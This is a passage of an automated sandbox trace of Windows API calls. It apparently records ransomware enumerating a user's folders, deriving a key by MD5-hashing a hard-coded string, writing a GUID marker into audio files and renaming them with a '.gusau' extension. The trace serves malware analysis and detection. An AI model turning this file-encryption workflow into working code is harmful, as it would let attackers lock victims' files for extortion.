(in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.291] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.291] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.291] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.291] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.291] PathFindFileNameW (pszPath="") returned="" [0117.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.291] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.291] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.291] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0117.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0117.292] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.293] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.293] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0117.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.293] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.293] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.293] PathFindFileNameW (pszPath="") returned="" [0117.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0117.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0117.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0117.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0117.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0117.293] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0117.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0117.294] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0117.294] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.294] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.294] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.294] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0117.294] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.294] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.294] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.294] PathFindFileNameW (pszPath="") returned="" [0117.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0117.295] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.295] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0117.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.295] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.295] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.295] PathFindFileNameW (pszPath="") returned="" [0117.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a863920, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a863920, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.295] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a863920, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a863920, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4f0140, ftCreationTime.dwHighDateTime=0x1d4d341, ftLastAccessTime.dwLowDateTime=0x3251b2a0, ftLastAccessTime.dwHighDateTime=0x1d4d3c5, ftLastWriteTime.dwLowDateTime=0x3251b2a0, ftLastWriteTime.dwHighDateTime=0x1d4d3c5, nFileSizeHigh=0x0, nFileSizeLow=0x16241, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-GcGxMxOZK4.m4a", cAlternateFileName="-GCGXM~1.M4A")) returned 1 [0117.295] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-GcGxMxOZK4.m4a") returned=".m4a" [0117.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-GcGxMxOZK4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-gcgxmxozk4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.296] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=90689) returned 1 [0117.296] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.298] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1621b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.299] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.300] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x16241, lpOverlapped=0x0) returned 1 [0117.301] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.301] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.301] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.301] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.302] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.302] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.302] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.302] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.302] GetLastError () returned 0x0 [0117.302] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.302] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.303] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16241, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.303] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.303] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.303] CloseHandle (hObject=0x610) returned 1 [0117.304] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-GcGxMxOZK4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-gcgxmxozk4.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-GcGxMxOZK4.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-gcgxmxozk4.m4a.gusau")) returned 1 [0117.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.305] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.306] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8259ea50, ftCreationTime.dwHighDateTime=0x1d4cc14, ftLastAccessTime.dwLowDateTime=0xa0ecad40, ftLastAccessTime.dwHighDateTime=0x1d4cc37, ftLastWriteTime.dwLowDateTime=0xa0ecad40, ftLastWriteTime.dwHighDateTime=0x1d4cc37, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="07G0ZL7bvnBKvt7n.mp3", cAlternateFileName="07G0ZL~1.MP3")) returned 1 [0117.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.306] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\07G0ZL7bvnBKvt7n.mp3") returned=".mp3" [0117.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\07G0ZL7bvnBKvt7n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\07g0zl7bvnbkvt7n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.306] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=14444) returned 1 [0117.306] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.308] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3846, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.308] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.310] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.310] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.310] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x386c, lpOverlapped=0x0) returned 1 [0117.310] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.310] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.310] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.311] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.311] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.311] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.311] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.311] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.311] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.311] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.311] GetLastError () returned 0x0 [0117.311] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.312] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.312] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.312] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x3870) returned 0x39f9f20 [0117.312] SetFilePointer (in: 